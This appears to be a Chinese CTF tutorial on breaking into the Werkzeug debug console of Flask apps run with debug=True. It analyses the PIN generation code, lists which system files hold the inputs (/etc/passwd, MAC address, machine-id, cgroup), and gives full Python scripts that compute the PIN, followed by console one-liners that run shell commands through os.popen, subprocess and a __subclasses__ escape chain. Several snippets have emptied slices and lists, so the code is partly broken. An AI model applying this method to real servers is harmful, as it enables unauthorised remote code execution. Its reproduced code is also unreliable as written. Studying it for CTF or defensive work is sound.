pin码是什么

PIN是 Werkzeug(它是 Flask 的依赖项之一)提供的额外安全措施,以防止在不知道 PIN 的情况下访问调试器。

flask在debug模式下会生成一个叫pin码的东西,就是一个安全层的作用,用于debug模式下的身份验证

为什么是/console路径

这是一个实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask

app = Flask(__name__)


@app.route("/")
def hello():
return 'HelloWorld'


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)

然后就是一个一直找的过程,首先从app.run的app进入到flask/app.py里面,然后我们知道PIN是 Werkzeug(它是 Flask 的依赖项之一)提供的额外安全措施,找到Werkzeug,并且就是导入了run_simple,我们继续看进去

进入到serving.py里面,有一个对use_debugger的定义,向下找到use_debugger

在进入DebuggedApplication模块,就能看到,这里定义了console_path

pin码的生成

分析

【我找的那篇参考文章(文章等下会贴在下面)其实重点是分析pin码的生成,正好,又学到了】
这里把它贴出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
def get_pin_and_cookie_name(
app: WSGIApplication,
) -> tuple[] | tuple[]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: str | None

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = []

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1.获取环境变量:
函数首先从环境变量 WERKZEUG_DEBUG_PIN 中获取 PIN 码。
如果 PIN 码被显式设置为 "off",则函数立即返回 (None, None),表示 PIN 码被禁用。
2.解析 PIN 码:
如果环境变量中提供了 PIN 码,并且该 PIN 码(去除任何 - 分隔符后)仅包含数字,则函数会尝试使用该 PIN 码。
如果 PIN 码包含 - 分隔符,则直接使用该 PIN 码作为 rv(返回的 PIN 码字符串)。
如果 PIN 码不包含 - 分隔符,则将其存储在 num 变量中,以便后续处理。
3.获取应用和用户信息:
函数从 app 对象中获取模块名、应用名等信息。
尝试获取当前用户名,但如果环境不支持(如 Google App Engine)或无法获取用户名(如 Docker 容器),则用户名将设置为 None。
4.准备 cookie 名称的生成信息:
公开信息(probably_public_bits)包括用户名、模块名、应用名和模块文件路径。
私有信息(private_bits)包括机器的 MAC 地址和机器 ID(后者可能是一个自定义函数)。
5.生成 cookie 名称:
使用 SHA-1 哈希算法,将公开和私有信息编码为字节串并更新哈希对象。
添加一个固定的盐值 "cookiesalt"。
根据哈希对象的十六进制摘要的前 20 个字符,生成 cookie 名称,前缀为 "__wzd"。
6.生成 PIN 码(如果需要):
如果之前没有从环境变量中获取到有效的 PIN 码(即 num 为 None),则通过更新哈希对象并添加一个额外的盐值 "pinsalt" 来生成一个新的 PIN 码。
将生成的哈希值转换为整数,并格式化为一个 9 位的数字字符串。
7.格式化 PIN 码:
如果之前没有从环境变量中获取到带有分隔符的 PIN 码(即 rv 为 None),则尝试将生成的 9 位数字字符串按照不同的分组大小(5、4、3)进行格式化,并在每组数字之间添加 - 分隔符,以便于记忆。
如果无法找到合适的分组大小,则直接使用未格式化的数字字符串作为 PIN 码。
8.返回结果:
函数最终返回一个元组 (rv, cookie_name),其中 rv 是格式化后的 PIN 码字符串(或 None,如果 PIN 码被禁用或无法生成),cookie_name 是生成的 cookie 名称。
上面是这个函数的流程分析,其实环境变量是重要的,PIN是从环境变量读取的,
如果没设置环境变量,PIN的生成依赖于username appname modname moddir uuidnode machine_id

读取方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
username
通过getpass.getuser()读取,通过文件读取/etc/passwd

modname
通过getattr(mod,“file”,None)读取,默认值为flask.app

appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask

moddir
当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取

uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

machine_id
每一个机器都会有自已唯一的id,machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup

生成算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import hashlib
from itertools import chain

probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
'2485377957890', # str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

python不同版本的算法也不同

3.6 md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
'25214234362297',
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

3.8 sha1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
'2485377581187',
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Console控制台执行指令

这里做题就是进入控制台,然后执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

1. os
>>> import os
>>> os.popen('whoami').read()

2. subprocess.check_output
>>> import subprocess
>>> subprocess.check_output([])

3. subprocess.run
>>> import subprocess
>>> subprocess.run([], capture_output=True, text=True)

4. subprocess.Popen
>>> import subprocess
>>> subprocess.Popen([], stdout=subprocess.PIPE).stdout.read()

5. find classes
>>> ''.__class__.__base__.__subclasses__()[].__init__.__globals__[]('whoami').read()

参考文章: